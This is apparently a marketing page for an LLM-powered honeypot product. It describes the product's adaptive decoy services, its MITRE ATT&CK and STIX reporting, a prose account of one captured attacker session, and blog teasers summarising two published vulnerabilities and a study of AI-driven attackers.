Deception Check deploys LLM-powered adaptive honeypots that think like attackers and respond like real systems. Designed for the places nothing else can reach, being priced for organizations that need affordable defensive technologies including small businesses and local municipalities.
Measured during a 14-day research capture window, April 2026. Single longest sustained session: 220 commands over 220 seconds.
Traditional honeypots use static scripts. Attackers spot them in seconds. Deception Check uses local LLMs to generate dynamic, contextual responses that keep adversaries engaged and exposed.
Built for the places cloud security can't reach: fully air-gapped, on-premises with local LLM inference, or cloud-managed multi-tenant. No internet, no telemetry, no data exfiltration risk for ITAR, CMMC, and OT environments.
Every attacker interaction gets unique, contextually aware responses. File systems, credentials, and command outputs are generated dynamically, not from static scripts.
SSH, HTTP, Telnet, SMB, and SCADA-Modbus. Convincing honeypots across your entire attack surface — including the OT protocols other vendors don't speak.
Every captured session is automatically mapped to MITRE ATT&CK techniques. High-fidelity threat intelligence fed directly into your SOC workflow as STIX 2.1 / TAXII inside 60 seconds.
Measured across our research fleet: LLM-powered honeypots held attackers 8× longer than Cowrie controls running on the same network — capturing significantly more TTPs per session.
A Deception Check decoy has no legitimate users. Every interaction is, by definition, malicious. No baseline behavior to model. No false positives to triage. Honey tokens, fake credentials, and deceptive infrastructure deployed with zero risk to your real assets — and zero alert fatigue for your analysts.
Three steps from download to catching your first threat.
Spin up adaptive SSH, HTTP, Telnet, SMB, and SCADA-Modbus honeypots across your network with a single configuration file. Each honeypot assumes a realistic server persona tailored to your environment.
When adversaries connect, a local LLM generates dynamic, contextual responses in real time. Attackers interact with what looks and feels like a real production system, revealing their tools, techniques, and objectives.
Every keystroke, credential attempt, and lateral-movement signal is logged as structured telemetry. Sessions auto-map to MITRE ATT&CK and ship as STIX 2.1 / TAXII to your SIEM or SOC platform.
Below is an actual adversary session captured by our SSH honeypot during the April 2026 research window. The attacker thought they had root on a real Linux server. Every command is logged. Every technique is auto-mapped to MITRE ATT&CK. The full record is in the SOC pipeline inside 60 seconds.
What happened: The attacker spent twenty-two minutes walking around our fake server — reconnaissance, credential dumping, payload staging, log tampering, and command-and-control callback. They walked away with a fake SHA-512 shadow hash they will spend hours trying to crack offline. We logged every keystroke, mapped each technique to MITRE ATT&CK, captured the C2 destination, and pushed first-party intelligence to the SOC pipeline as STIX 2.1 / TAXII in under 60 seconds. This is the kind of session every SOC should be getting from their perimeter. Most aren't.
Deception Check is validated via a multi-cloud fleet capturing real adversary traffic against active attacker infrastructure since 2026.
A 14-day capture window across our multi-cloud research fleet running SSH, HTTP, Telnet, SMB, and SCADA-Modbus honeypots backed by four LLM engines.
The defenders are losing — and the highest-value targets are the worst-defended. These numbers come from the data the industry usually cites.
Field notes, threat breakdowns, and what the research fleet is catching — published as we capture it.
A hard-coded, owner-level Azure IoT Hub key shipped on every Gardyn indoor garden: one extracted key enumerates the entire device fleet, runs commands on any unit, and pivots onto the owner's home network. CISA rated it a perfect 10.0 in a Food and Agriculture advisory, and while no exploitation is known yet, in-window public PoCs have already landed.
Read →Anthropic mapped how attackers use AI. We run honeypots and watched the same adversaries from the other side. Out of 8,887 attackers, eight looked like AI, with a clear machine-speed fingerprint. Here is what that means for defenders.
Read →A critical, actively exploited authentication bypass in SimpleHelp RMM: with OIDC enabled, the server never verifies the login token signature, so a forged token becomes full technician access to every managed endpoint. On CISA KEV, with roughly 14,000 servers exposed.
Read →Join the early access waitlist.